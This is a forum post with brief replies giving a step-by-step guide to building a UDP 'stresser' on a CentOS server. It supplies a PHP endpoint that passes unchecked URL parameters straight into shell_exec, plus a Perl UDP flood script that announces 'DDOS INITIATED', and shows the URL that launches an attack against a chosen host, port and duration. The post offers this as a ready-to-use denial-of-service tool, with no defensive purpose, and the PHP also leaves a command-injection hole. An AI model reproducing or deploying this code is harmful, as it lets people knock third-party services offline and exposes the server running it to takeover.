Sign in to follow this  
dom4201

UDP - STRESSER API SCRIPT - CENTOS

Recommended Posts

Step 1

To setup our server to be compatible with our application we will need to do these things.

 

Enter the following commands in putty on your server.

yum install nano php httpd dstat -y

 

/////after its install do the following command

cd /var/www/html

 

If this directory doesnt exist, type the following

cd /var/

mkdir www

cd /var/www/

mkdir html

cd /var/www/html

 

 

if the directory already exists just continue from the /var/www/html

type the following

nano send.php

paste this code: 

<?php

        $attacktype = $_GET["method"];

        $ip = $_GET["ip"];

        if (empty($ip)) { $ip = $_GET["host"]; }

        $port = $_GET["port"];

        $time = $_GET["time"];

        $proc   = hash('crc32', $ip);

            if (empty($ip) || empty($port) || empty($time) || empty($attacktype))

            {

                 die('Incorrect Method, Valid Methods : UDP ');

            }

         if (($attacktype == "UDP") || ($attacktype == "udp"))

        {

            $output = shell_exec("perl new.pl $ip $port 65500 $time"); 

            print("Attack Sent on $ip:80 For $time using $attacktype!");

        }

         if (($attacktype == "STOP") || ($attacktype == "STOP"))

        {

            $output = shell_exec("sudo pkill -f $proc "); 

            print("Attack Sent on $ip:80 For $time using $attacktype!");

        }

?>

 

 

Then press ctrl x then Y

 

 

after that type nano new.pl

this is just a basic UDP script which will hit accordingly to your server. We will just use this basic script for now.

put this code into the editor:

#!/usr/bin/perl

 

##############

# udp flood.

##############

 

use Socket;

use strict;

 

if ($#ARGV != 3) {

  print " \n";

  print "SMASH phunk";

  print "Command new.pl \n";

  print " ip:port:packets:time\n";

  print " SMASH ROUTER\n";

  print " SKYPE: street.light.\n";

  exit(1);

}

 

my ($ip,$port,$size,$time) = @ARGV;

 

my ($iaddr,$endtime,$psize,$pport);

 

$iaddr = inet_aton("$ip") or die "Impossible de se connecter à $ip\n";

$endtime = time() + ($time ? $time : 1000000);

 

socket(flood, PF_INET, SOCK_DGRAM, 17);

 

 

print "DDOS INITIATED ON $ip PORT " . ($port ? $port : "random") . ",  " . 

  ($size ? "$size-byte" : "random size") . " packets" . 

  ($time ? " FOR $time secondes" : "") . "\n";

print "Attaque arrêtée avec Ctrl-C\n" unless $time;

 

for (;time() <= $endtime;) {

  $psize = $size ? $size : int(rand(1500-64)+64) ;

  $pport = $port ? $port : int(rand(65500))+1;

 

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

 

Then Press Ctrl X then Y

 

then type the following

chmod 777 new.pl

service httpd restart

service httpd start

 

 

this should set up the scripts correctly if you did everything right. to see if so, type ifconfig and copy your servers ip address or just copy the ip address else where and put this in your webbrowser:

http://myserverip/send.php?

 

replace "myserverip" with your server ip that is the only thing you need to change. If red letters are shown then you set it up correctly and it is ready to use. Simply open the application  but change the myserverip to your servers ip.

 

to test strength run dstat -n in putty or whatever ssh program you use and enter the following just replace myserverip and change the [ ] brackets to the info you want(brackets shouldnt be there!)

 

myserverip/send.php?host=[HOST]&port=[PORT]&time=[TIME]&method=udp

 

 

Then after you have done that we will need to let the program check if the server is online enter the following commands:

cd /var/www/html

nano status.txt

write: online

write only online nothing else just online

after this ctrl x then Y

 

you should be all set up. ~No Bull Shit Panel

Share this post


Link to post
Share on other sites

AWESOME THANKS MAN

Share this post


Link to post
Share on other sites

AWESOME THANKS MAN

 

:fiesta: ITS ALL GOOD MY FELLOW PEEN  :fiesta:

Share this post


Link to post
Share on other sites

Thanks! Really appreacite the share, keep up the good work!!!

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this